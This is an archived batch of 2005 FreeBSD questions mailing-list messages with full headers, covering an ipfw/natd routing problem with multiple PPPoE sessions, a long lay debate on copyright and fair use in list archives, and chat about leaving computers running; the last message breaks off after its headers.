helo=netsphere.cenergynetworks.com) by netsphere.cenergynetworks.com with smtp (Exim 4.41) id 1CxmFr-000D5m-pw for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 15:15:11 +0200 Received: from [192.168.1.10] (helo=netphobia) by netsphere.cenergynetworks.com with smtp (Exim 4.41) id 1CxmFp-000D5i-se for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 15:15:09 +0200 Message-ID: <005401c50c4d$f01573c0$0a01a8c0@ops.cenergynetworks.com> From: "Chris Knipe" To: References: <001a01c50c48$a63ab0d0$0a01a8c0@ops.cenergynetworks.com> <003001c50c49$48261b50$0a01a8c0@ops.cenergynetworks.com> <797811732.20050206140152@hexren.net> Date: Sun, 6 Feb 2005 15:15:32 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2527 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-Broken-Reverse-DNS: 192.168.1.10 X-PMX-Version: 4.7.0.111621, Antispam-Engine: 2.0.2.0, Antispam-Data: 2005.2.6.1 Subject: Re: Re[2]: ipfw / ppp NAT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Chris Knipe List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 13:15:15 -0000 > given that tun0 is the interface that connects x.x to the world (y.y) > then what you have now would be: > "ipfw add divert natd all from any to any via tun0" > > from what I understand what you want you should probably add somethin > like: > "ipfw add divert natd all from any to any via rl0" > rl0 being the interface connecting x.x to x.1 > > on related news, why would u want to do something like that ? > > Hexren Quite complex.... 1) I have a routed network on 198.18/15 going via NAT to the net. 2) I have two gateways, running VRRP for high redundancy. 3) Gateway 1 routes "local traffic" via tun0, the rest (ala international) is sent to gateway 2 4) Gateway 2 routes "the rest" via tun0, and "local traffic" to gateway 1 This all happens now via BGP, and so far this is working without a problem. The problem now, is that I only receive one "real" IP per PPPoE session. Multilink is out of the question (not supported), so is getting multiple IPs per session. A further problem, is that the gateway address of these PPPoE sessions, are 100% exactly the same. Thus, what I need to achieve now (and hence what is my problem): 1) I need to establish MULTIPLE PPPoE sessions on Gateway 1 (even if the gateway address of the PtP link are the same) - BIG problem. I have semi fixed this by forcing my gateway address of the secondary pppoe sesssions to be the rl0 interface (and this is working) (i.e. ifaddr 10.0.0.1/32 x.x.x.x 255.255.255.0 0.0.0.0) 2) I need to be able to forward the live ip address received from one of the secondary PPPoE Sessions on Gateway1 to any host inside my routed network (198.18/15). 3) The load balancing and routing between Gateway 1 and Gateway 2 should all still work, and basically just exclude what ever is happening on the secondary PPPoE Sessions. I know I'm not giving allot of information, but this is ALLOT of work / configurations. If it's not a problem, I will post what is required (config wise), but yeah... We're talking close to 300 statically managed routes between Gateway 1 & 2... What my problem is now, is basically what would seem, like a nat / routing issue. PPP1 -> GW1 -> 198.18/15 PPP2 -> GW1 -> CLIENT1 INSIDE 198.18/15 Incoming, the connectivity is working. I establish a connection to PPP2, GW1 forwards the data to CLIENT1, and a tcpdump shows that the data does arrive. The problem is that the replies from CLIENT one, goes to GW1 and GW1 transmit the data back to the Internet via PPP1, and not PPP2...... Thus, in a nutshell now, I need to "map" PPPx to CLIENTx without causing any problems for the rest of the network.... -- Chris From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 13:25:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A2BBE16A4CE for ; Sun, 6 Feb 2005 13:25:37 +0000 (GMT) Received: from szamoca.krvarr.bc.ca (s142-179-111-232.bc.hsia.telus.net [142.179.111.232]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2A8D143D46 for ; Sun, 6 Feb 2005 13:25:37 +0000 (GMT) (envelope-from sandy@krvarr.bc.ca) Received: from szamoca.krvarr.bc.ca (localhost [127.0.0.1]) by szamoca.krvarr.bc.ca (8.13.1/8.12.11) with ESMTP id j16DPZgJ084811 for ; Sun, 6 Feb 2005 05:25:35 -0800 (PST) (envelope-from sandy@szamoca.krvarr.bc.ca) Received: (from sandy@localhost) by szamoca.krvarr.bc.ca (8.13.1/8.12.11/Submit) id j16DPZkj084808; Sun, 6 Feb 2005 05:25:35 -0800 (PST) (envelope-from sandy) From: Sandy Rutherford MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16902.6863.103316.326437@szamoca.krvarr.bc.ca> Date: Sun, 6 Feb 2005 05:25:35 -0800 To: freebsd-questions@freebsd.org In-Reply-To: <1837626073.20050206115340@wanadoo.fr> References: <4203F451.9070307@cis.strath.ac.uk> <200502050030.39812.m.hauber@mchsi.com> <452211071.20050205114332@wanadoo.fr> <16901.23792.668233.856876@szamoca.krvarr.bc.ca> <1258430214.20050206025603@wanadoo.fr> <16901.34645.144852.476246@szamoca.krvarr.bc.ca> <1837626073.20050206115340@wanadoo.fr> X-Mailer: VM 7.07 under Emacs 21.3.1 X-krvarr.bc.ca-MailScanner-Information: Please contact postmaster@krvarr.bc.ca for more information. X-krvarr.bc.ca-MailScanner: Not scanned: please contact postmaster@krvarr.bc.ca for details. X-krvarr.bc.ca-MailScanner-From: sandy@szamoca.krvarr.bc.ca Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 13:25:37 -0000 >>>>> On Sun, 6 Feb 2005 11:53:40 +0100, >>>>> Anthony Atkielski said: > Sandy Rutherford writes: SR> Hold on a second. Shared P-to-P directories certainly are indexed and SR> Finckenstein knew this. > Where are they indexed? I though P-to-P was a proprietary > protocol--which implies that public services like Google can't index it. Nothing proprietary about it. It's an open standard (I don't know the RFC off the top of my head) with all sorts of open source clients. I could fire up a gnutella client (pick one, there are at least a couple on the Ports) and build up an index of a few thousand Beatles songs in about 3 minutes. The only reason that Google doesn't index it is that they don't want to get sued. > An index internal to the P-to-P system wouldn't count, because it would > still be effectively visible only to people using that system ... like > e-mail systems. I'm not sure what you mean here. If you are going to call http public, then wouldn't any other open protocol also be public? SR> True, but it is not the person who puts the content on a website that SR> is doing the copying. It is the person who downloads it. > If the content came from another Web site, it was copied. Google copies > content, for example, when it caches indexed Web pages. And indeed, it > also downloads the content, since it has to do that to get it from the > original site in the first place. SR> If I own a CD, then it is legal for me to make as many copies as I SR> wish, as long as I don't distribute them. > And as long as the extra copies don't allow you deprive the copyright > owner of revenue in some way, usually. For example, if it allows you to > run multiple copies of a game for all the people in your office, it's > probably an infringement. Let's have a look at exactly what the law is in Canada about this. The plaintiffs in this case were EMI, Sony, ... (long list of nearly every major recording company in Canada). The defendants were "John Doe, Jane Doe and all those persons who are infringing copyright in the plaintiffs sound recordings". If this looks a little like a David and Goliath situation, note the recording industry was taking this legal action in order to force a number of ISPs to provide information about some of their customers and in essence shoulder some of the responsibility for any copyright infringement made by their customers. The ISPs were none too happy about this, and some of them do have quite deep pockets. Finckenstein addressed 4 issues: 1. reproduction of sound recordings by the alleged infringers 2. authorization of the reproduction of the sound recordings 3. distribution of unauthorized copies of the sound recordings to such an extent as to affect prejudicially the plaintiffs 4. possession of unauthorized copies, First #1, infringement: Section 80 (1) of the Copyright Act [of Canada] provides as follows: 80. (1) Subject to subsection (2), the act of reproducing all or any substantial part of (a) a musical work embodied in a sound recording, ... onto an audio recording medium for the private use of the person who makes the copy does not constitute an infringement of the copyright in the musical work, the performer's performance or the sound recording. >From this, Finckenstein concludes: [25] Thus, downloading a song for personal use does not amount to infringement. See Copyright Board of Canada, Private Copying 2003-2004 decision, 12 December 2003 at page 20. Note that nowhere does it state that by making such a copy I must not deprive the copyright owner of revenue. Now #2, authorization: Finckenstein states: [26] No evidence was presented that the alleged infringers either distributed or authorized the reproduction of sound recordings. They merely placed personal copies into their shared directories which were accessible by other computer user via a P2P service. [27] As far as authorization is concerned, the case of CCH Canada Ltd v. Law Society of Canada, 2004 SCC 13, established that setting up the facilities that allow copying does not amount to authorizing infringement. I cannot see a real difference between a library that places a photocopy machine in a room full of copyrighted material and a computer user that places a personal copy on a shared directory linked to a P2P service. In either case the preconditions to copying and infringement are set up but the element of authorization is missing. #3 I actually dealt with in one of my earlier posts. ...Before it constitutes distribution, there must be a positive act by the owner of the shared directory, such as sending out the copies or advertising that they are available for copying... #4 he simply threw out for lack of evidence. I believe that your comment regarding "...as long as the extra copies don't allow you [to] deprive the copyright owner of revenue in some way..." is referring to the "Exclusive Right to Make Available" that is often attached to most copyrights. (Correct me if I am wrong.) Internationally, that right is stipulated in the World Intellectual Property Organization Performances and Phonograms Treaty (1996). Canada has never signed that treaty. The USA has. This amounts to an important difference. With WTTP, I can prevent anyone from infringing on my ability to gain income from my copyright material, by (say) making such material "available" from other sources. Without WTTP, by and large the best that I can do is prevent someone else from making money for themselves with my copyrighted material. These are of course generalizations, but this is the roughly idea of how I understand that WTTP changes the situation. Note that there are some clear parallels in this with how the GPL & BSD licenses work. Sandy From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 13:29:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0B4F416A4F8 for ; Sun, 6 Feb 2005 13:29:39 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9078B43D1D for ; Sun, 6 Feb 2005 13:29:38 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id C71B61C0009F for ; Sun, 6 Feb 2005 14:29:37 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id AE83F1C00097 for ; Sun, 6 Feb 2005 14:29:37 +0100 (CET) X-ME-UUID: 20050206132937714.AE83F1C00097@mwinf1112.wanadoo.fr Date: Sun, 6 Feb 2005 14:29:37 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1248029111.20050206142937@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502061153.13448.ian@codepad.net> References: <200502051745.25937.hindrich@worldchat.com> <20050206013000.GB49637@wantadilla.lemis.com> <200502061153.13448.ian@codepad.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 13:29:39 -0000 Xian writes: X> I turn my computer off over night so I can sleep. You're never a true system administrator until you can sleep surrounded by the sound of fans and disk drives. Extra points if you can sleep amid racks of datasets (less and less common these days). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 13:46:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EBCB316A4CE for ; Sun, 6 Feb 2005 13:46:00 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9F96143D39 for ; Sun, 6 Feb 2005 13:46:00 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id 58ADB1C0015A for ; Sun, 6 Feb 2005 14:45:59 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id 3AF0C1C00156 for ; Sun, 6 Feb 2005 14:45:59 +0100 (CET) X-ME-UUID: 20050206134559241.3AF0C1C00156@mwinf0908.wanadoo.fr Date: Sun, 6 Feb 2005 14:45:58 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1987126296.20050206144558@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502061401.20967.mark.rowlands@mypost.se> References: <200502051745.25937.hindrich@worldchat.com> <1088851878.20050206122453@wanadoo.fr> <200502061401.20967.mark.rowlands@mypost.se> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 13:46:01 -0000 Mark Rowlands writes: MR> I use my gfs tights....... christ... I hope she's not subscribed here as MR> well What type of material and weave? Tights = stockings? Hmm. I never thought of that--by gosh, it might work! MR> yup.. but only on old scsi drives Unfortunately, my older machine has some of those "old SCSI drives." The kind with connectors that nobody uses any more, apparently. Why are SCSI drives so out of style lately? Aren't they still the best performers? MR> jeez how much does a fan cost? A few euro. But it often wasn't cost but red tape that got in the way. Then again, maybe it was cost, considering how cheap some managers were. We couldn't even obtain retail boxes of our own products for testing. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 13:52:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F035B16A4CE for ; Sun, 6 Feb 2005 13:52:03 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id D94D043D55 for ; Sun, 6 Feb 2005 13:52:02 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j16Dq5j99273 for ; Sun, 6 Feb 2005 05:52:05 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sun, 6 Feb 2005 05:52:03 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <1574286459.20050205120828@wanadoo.fr> Importance: Normal Subject: RE: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 13:52:04 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 05, 2005 3:08 AM > To: freebsd-questions@freebsd.org > Subject: Re: favor > > > Except that it's not covered under fair use. It requires an explicit > license. > No. Many content creators take the attitude that any republishing isn't covered under Fair Use. That is understandable because the Fair Use doctorine is deliberately broad, has no real "litmus test" once again by design, and many bona-fied infringers try to talk their way out of prosecution by hiding behind Fair Use. So many content creators would rather just make it easy on themselves and not have to look at individual situations to determine if it's Fair Use or an infringement, so they just assume the position that Fair Use doesen't exist. This attitude is a lot more prevalent among graphic media creators than authors, because pictures pack a lot more content in a small package. So I understand where your coming from. > > TM> If you go carrying a sign in a public place in order to get it > TM> captured on film - such as at a political rally that Channel One > TM> news is filming - then later on switch parties then you cannot go > TM> back to Channel One and demand they airbrush your sign out of their > TM> archives. Why do you think that Channel One doesen't go getting > TM> consent signatures from every one of the 1000 people at the rally? > > A discussion forum isn't a public place in that sense, because it > imposes restrictions on access. If you have to sign up, register, > subscribe or anything of the kind in order to post to the forum, it's > not public. Well unless things have changed very recently, you do not have to sign up to post to the FreeBSD Questions mailing list. You have to sign up to receive copies of posts to it, but questions has always been left open for posting. This has caused complaints in the past. FreeBSD has always blocked spammers by requiring the reverse-address lookup requirement, which does block legitimate posts from time to time. In any case with other mailing lists, such as the public ones that require signing up, you are confusing an access restriction with signing up. Signing up to post to a public mailing list does not constitute an access restriction, because anybody can sign up, and the only purpose of having signups is to block spammers. You might have been able to argue at one time in the past that a signup on a mailing list constituted an access restriction. However today, most mailing lists would not be able to function at all without signups because of the amount of spam. Thus, signups to them are now an integral requirement for them to operate, thus a court would look at any additional restrictions that the signup applied, not just the fact that there was a signup. Your arguing that a political rally is a public forum because there's no restrictions for someone to be there holding a sign - but there are restrictions because you have to wear clothing to be there or they would toss you out. You have to understand English so that you don't hold the sign upside down. etc. etc. So according to your logic political rallies could not ever be public events unless absolutely no restrictions were placed on them. I'll keep that in mind and next time there's a political rally I'll be sure to send my constitutionally-protected-by-freedom-of-expression-artistic-nude- dancers to it to insure that it's a public rally. ;-) > If anyone exerts any control on the content of the forum, > either through restrictions on access or direct editing of the content, > then the forum is not public--and additionally the person exerting > control assumes liability for the entire contents of the forum. > That is true. However keep in mind that spamming is now a federal crime. Thus it is illegal (in the United States) for the FreeBSD mailing list maintainers to assist spammers. Forwarding spam to you assists spammers. Thus it is arguable they are required by law exert control on the list to block spam. You cannot argue that since the government now by law requires them to block spam that the forum is now no longer public because they are following the law. (well you could, but that's so twisted that I think a court would toss it) Naturally you are correct if there's additional editorial control over the content of the FreeBSD questions mailing list than spam blocking, that the forum becomes non-public. Have you seen this control here? > TM> Only if photographs are prohibited. > > Even if pictures are not prohibited, you may not take pictures and > republish them. That's an infringement of copyright. > Museums being what they are you would have to assume that everything in a museum that was younger than a couple hundred years and is printed or sculpted or painted or otherwise created for artistic expression or performance, is indeed copyrighted. But for museums that display old masters the situation is different. They know that they have no copyright rights over a painting that is 400 years old, and if they didn't prohibit pictures, they would not be able to prevent the publishing of books of pictures of their paintings. If they could do that, it would effectively extend copyright forever, which would violate the mandatory expiration date Copyright contains. Copyright eventually expires, despite certain person's out there working to try to extend it forever. Just because you own the original master, doesen't mean you own copyright rights to it. Once those rights have expired, you don't have them. > TM> And in just about every museum out there photographs ARE > prohibited, > TM> as a matter of fact, simply for this reason. > > No, most museums that prohibit photography do so to protect > the works in > question (although such protection really isn't needed, as > flash doesn't > damage paintings and such in the ways that people assume). You haven't been in many museums lately. Go to any decent museum and ask someone other than the minimum-wage bonehead at the information counter why they prohibit pictures. And the British Museum's little signs don't say "flash photography prohibited" they say "photography prohibited" they don't care if it's flash or not. And of course in the US they claim that flash damages the paintings because it's not politically correct to say "we don't let you take pictures because we want you to spend $50 on our book at the gift shop" as you look like an evil moneygrubbing scumbag. So it's better to pretend that all cameras cannot be set to not trigger flash. > > TM> As an author of course you ought to know that I am on the side of > TM> electronic publishing being considered the same as print > publishing. > > In that case, I'm surprised that you would assert that > publishing in one > venue implicitly grants permission to publish in other venues. I don't assert that and never have. I assert that with e-publishing that there are not multiple venues like your trying to claim that there are. > This is > like saying that if I have your book (which, incidentally, I do), I can > make photocopies of it freely. By selling your book to me, you made it > public and implicitly granted permission to make other copies > of it that > are also accessible to the public ... right? > Well, actually, yes (with a stipulation) because isn't that what a library does? Let's say you make 11 copies so now you have 12 copies including the original. You have 12 branch libraries that each copy is sent to. When someone checks out a copy all other 11 copies are locked. That saves you a lot of money for having to haul books around between branch libraries. The stipulation of course is that only 1 copy can be used at any one time. Go back to relating this to the original post that triggered this disussion. Valerie made a post to a public mailing list. The nature of this public list is it gets the content and publishes it to an undefined number of different recipients. The number could be 10,000. It could be 100,000. Valerie doesen't know how many, just as the organizers of the political rally that got filmed on Channel One don't know how many people watched the TV images of the rally. Now, in one universe, 10,000 copies of the post went out, and 500 recipients of that post happened to be soldiers deployed to Iraq, just before the post was sent. Over the next 3 years they all come back at various times and decide to read all their e-mail that has piled up for the last 3 years, and at that time they read Valerie's post. In the other universe, 9,500 copies of that post went out. Over the subsequent 3 years, there are a total of 500 access of that post on the archive servers that the mailing list is archived on. Now, how exactly are these 2 universes different? You see this is why I think that trying to define multiple e-publishing venues is a really bad idea. The end result in both those universes was a total of 10,000 accesses of Valerie's post, all occuring over the same time period. And on top of it all, when Valerie made her inital post, she had no idea the number of recipients it would get. So, really, she in effect gave permission for an undefined number of copies to be e-published. > TM> Naturally the electronic content creators are continually trying > TM> to get laws into place that consider e-publishing as some sort of > TM> "special" publishing exempt from the First Amendment. Is that what > TM> YOU want? > > Copyright protection has nothing to do with the First Amendment. > I didn't say that, I said -publishing- which is different than copyright. > TM> Until case law has defined e-publishing as under First Amendment > TM> rights it is in that grey area of could be interpreted one way > TM> and could be interpreted the other. I am SQUARELY in favor of > TM> interpreting it under First Amendment rights which include Fair > TM> Use ... > > The First Amendment and copyright law (including fair-use rights) are > completely unrelated. > Correct, I should have said 'and Fair Use' as Fair Use was developed separately from the First Amendment. > > TM> ... which is why I came down on poor Valerie like a ton of bricks, > TM> because what she is doing sets a dangerous precedent that has > TM> implications far, far beyond her piddly little website, or for > TM> that matter beyond our piddly mailing list. > > It sounds like she is only asserting rights that she already > has, If she is asking Google to remove the links, then correct. But she wasn't, she was asking the FreeBSD list maintainers to remove it from their archive. > The current trend in IP law is > towards ever greater restrictions, thanks to the interests of large > corporate concerns who make all their money from such restrictions, and > so it might not be wise to disregard possible sources of infringement. > I never said to disregard anything. Everyone should be aware of the various money grabs being used by the large corporate concerns. You just shouldn't let some corporations desire to bend the rules influence your actions. When someone is trying to grab power they were never given orignally, you don't just roll over. > TM> Sooner or later there will of course be a court case on this. > TM> If you want to count yourself on the Dark Side then go ahead > TM> and keep yapping that posts aren't publishing. > > That's not what I said. Posting to a forum is one form of publishing. > Agreement to publication in that one form does _not_ imply agreement to > publication in other forms, though. > For a mailing list, it's archives are part and parcel of the forum, they are not an 'other form' > > TM> Yes, and this is because it's Fair Use. > > Well, no. If it were fair use, then authors would not be able to > require their removal. Wrong. There is no law saying that Google must allow authors to require removal. Google allows people to request removal of links and material in the search database, but authors of these links do not have any right to demand this, this is entirely something that Google has decided as editor of the database, to allow authors to do. Keep in mind Google derives revenue from selling it's lookups to others, and from selling adverts. If people go to a site in the search engine only to be told by the site operator to get lost, they never wanted to be in Google in the first place, that devalues Google's search results. So, it is Google's responsibility to it's stockholders to allow removals, because not doing so would be abrogating it's fudiciary duty to the company. The long and short of it is that you cannot base a Fair Use doctorine of e-publishing on what Google does. If at some point in the future in some future case someone was trying to argue that just because Google allows delisting that this is proof that search engines aren't Fair Use, such an argument would be shot down in short order. > > TM> And in this case all we have is a source IP address, Valerie has > TM> made no actual statements here identifying who she is with any > TM> degree of verifyability. A defendant such as myself in such a > TM> case would have a solid legal footing to argue that > because forgeries > TM> of a person's e-mail address and username are so simple, I have an > TM> excellent expectation that Valerie in fact doesen't exist, or > TM> the actual poster of the post isn't the real Valerie, a court > TM> would then throw the entire thing out. > > But in that case, Valerie could then attack on the basis of libel, in > some cases (if the forged posts used her name and presented her in a > light that materially damaged her reputation). > No, because she cannot present proof that the Valerie in the posts that are being satirized is the same Valerie as she is. And even if she could (ISP records or whatnot) since until such time that she does this nobody else in the forum knows the real Valerie is her, the real one's reputation isn't damaged and thus she wouldn't have had grounds to sue in the first place. It's like, I use an anonymous login on a forum, the anonymous login is tarred and feathered, I try to sue the people doing the tarring and feathering based on the grounds that I'm being libeled. Except that nobody knows it's me because I'm using an anonymous login so how have I been libeled exactly? Oh, it's because I announce on the forum that the anonymous login was me all along - except wait a minute, as soon as I do that someone else says wait a minute, I'm the real anonymous login - so now we have two people claiming to be the anonymous login, how does the forum know which is telling the truth? I don't think a libel argument would get any further than a computer crime argument. Nice try though, rather original. > TM> I wasn't talking about the archive manager of Google. I > was talking > TM> about the archive manager of the FreeBSD mailing list > archives. She > TM> granted the right to publish to them, not to Google. > > Did she? Did she take a positive and explicit action to indicate that > she agreed with archiving of her posts? > > There might be some basis for claiming that she granted such permission > implicitly if the archives are available only to members of the list, > and if the archives are purged of her posts when she leaves the list. > In that case, virtually the only people with access to her posts are > people who also could see them as they passed on the list. However, if > the archives can be searched by non-members of the list, her permission > is required. > Well, now, that is a most interesting angle that I hadn't considered. However I think it would end up invalidated due to the old editorial content control clause. What your argument is based on is the idea that there is a difference between members of the general public and list members - thus the forum is content-restricted, thus there's an editor, yadda yadda yadda we know the rest. However, for public lists I think they would all argue that a signup is an integral requirement for the operation of the list in order to block spammers. Because of that there really doesen't exist a legal 'membership' of the list. The spam protection is as a matter of fact why there's no signup to view the archives - because it's not needed since spammers viewing the archives isn't illegal. Of course, if the public had to pay a fee or some such to view the list archives, that would be different. Otherwise, her posting to the list is the same whether it appears in the list posts or the archive, because the signup thing for the list posts isn't strong enough to constitute the list being non-public. > If you find this too restrictive, imagine the case of a > mailing list for > alcoholics or recovering drug addicts. The legal context is the same. > Do you think they would implicitly grant permission for publication of > their confessions in archives searchable by anyone? > They would have to. If the recovering alcoholics list (and I think that such things exist on Usenet) is completely open for anyone to get posts and to subscribe to, then there's no difference between a searchable archive and the mailing list. > TM> She has a legitimate legal basis to demand Google remove > it. She has > TM> extremely thin to no basis to demand that the FreeBSD mailing list > TM> remove it. > > She can demand that the mailing list make its archives accessible only > to members of the list, Since the mailing list membership is everyone on the Internet (since anyone can post to it) and the archives are already world-accessible, this condition already exists. > and she can demand that her posts be removed > from the archive if she leaves the list. How do you define leaving the list. > In other words, she must grant > permission for an extension of access to her posts beyond the > unavoidable access implicit in joining the list (access by > other current > list members). > No, this is just manufacturing on your part. "current list members" where is that coming from? Since when do actions in a public forum have a time limit on them? If any of this were even close to true then no library could archive microfilm of any newspapers. > TM> You seem to think that it's a Good Thing to have people who run a > TM> mailing list and run archives of that mailing list to > spend all their > TM> time digging though old files just because some idiot got ants in > TM> their pants, when there's no solid legal basis for it. > > I think it's a good thing for people who run a mailing list to be > extremely careful about what they do, lest they be sued and closed down > for their carelessness. There is indeed a solid legal basis for this, > and any list the size of this list should already be supported by > professional legal counsel to make sure that it doesn't do anything it > might later regret. > Uh huh. Sure. Has there ever been a public mailing list that was truly public - with no editorial control over the posts, and no restrictions on access - that has been required by court order to be shut down? Anybody or anything can be sued. However not anybody or anything can be successfully sued. If and when the day ever comes that the list manager is sued, that is the day that the list manager needs to start spending money on lawyers. BSD has been sued by far better lawyers than any that Valerie can afford, and the last time it happened we won. > > I'm interested in FreeBSD, and this is the only available form of > support for the OS (which is perhaps the greatest drawback to using > FreeBSD, particularly in a corporate or mission-critical environment). > No, there is also the FreeBSD Usenet group which is equal or greater in volume of traffic than this mailing list. And Google archives it! ;-) Ted From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 13:52:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F194316A4CE for ; Sun, 6 Feb 2005 13:52:38 +0000 (GMT) Received: from p15140542.pureserver.info (papendorf-se.de [217.160.222.163]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9527043D62 for ; Sun, 6 Feb 2005 13:52:37 +0000 (GMT) (envelope-from freebsd@nagilum.org) Received: from localhost (localhost.localdomain [127.0.0.1]) by p15140542.pureserver.info (Postfix) with ESMTP id D7A752F4117; Sun, 6 Feb 2005 14:52:35 +0100 (CET) Received: from p15140542.pureserver.info ([127.0.0.1]) by localhost (p15140542 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 17838-03; Sun, 6 Feb 2005 14:52:33 +0100 (CET) Received: from cakebox.homeunix.net (unknown [217.188.228.60]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by p15140542.pureserver.info (Postfix) with ESMTP id D89AB2F40FE; Sun, 6 Feb 2005 14:52:32 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by cakebox.homeunix.net (Postfix) with ESMTP id 9E06C3028AE; Sun, 6 Feb 2005 14:52:30 +0100 (CET) Received: from cakebox.homeunix.net ([127.0.0.1]) by localhost (cakebox.tis [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 38654-10; Sun, 6 Feb 2005 14:51:41 +0100 (CET) Received: from [10.1.1.4] (scorpio.tis [10.1.1.4]) by cakebox.homeunix.net (Postfix) with ESMTP id 6BAC53028AB; Sun, 6 Feb 2005 14:51:32 +0100 (CET) Message-ID: <420620DE.90007@nagilum.org> Date: Sun, 06 Feb 2005 14:51:26 +0100 From: Nagilum User-Agent: Mozilla Thunderbird 0.9 (Macintosh/20041103) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Michael Hines References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at cakebox.homeunix.net X-Virus-Scanned: by amavisd-new at papendorf-se.de cc: freebsd-questions@freebsd.org Subject: Re: increasing swap activity X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 13:52:39 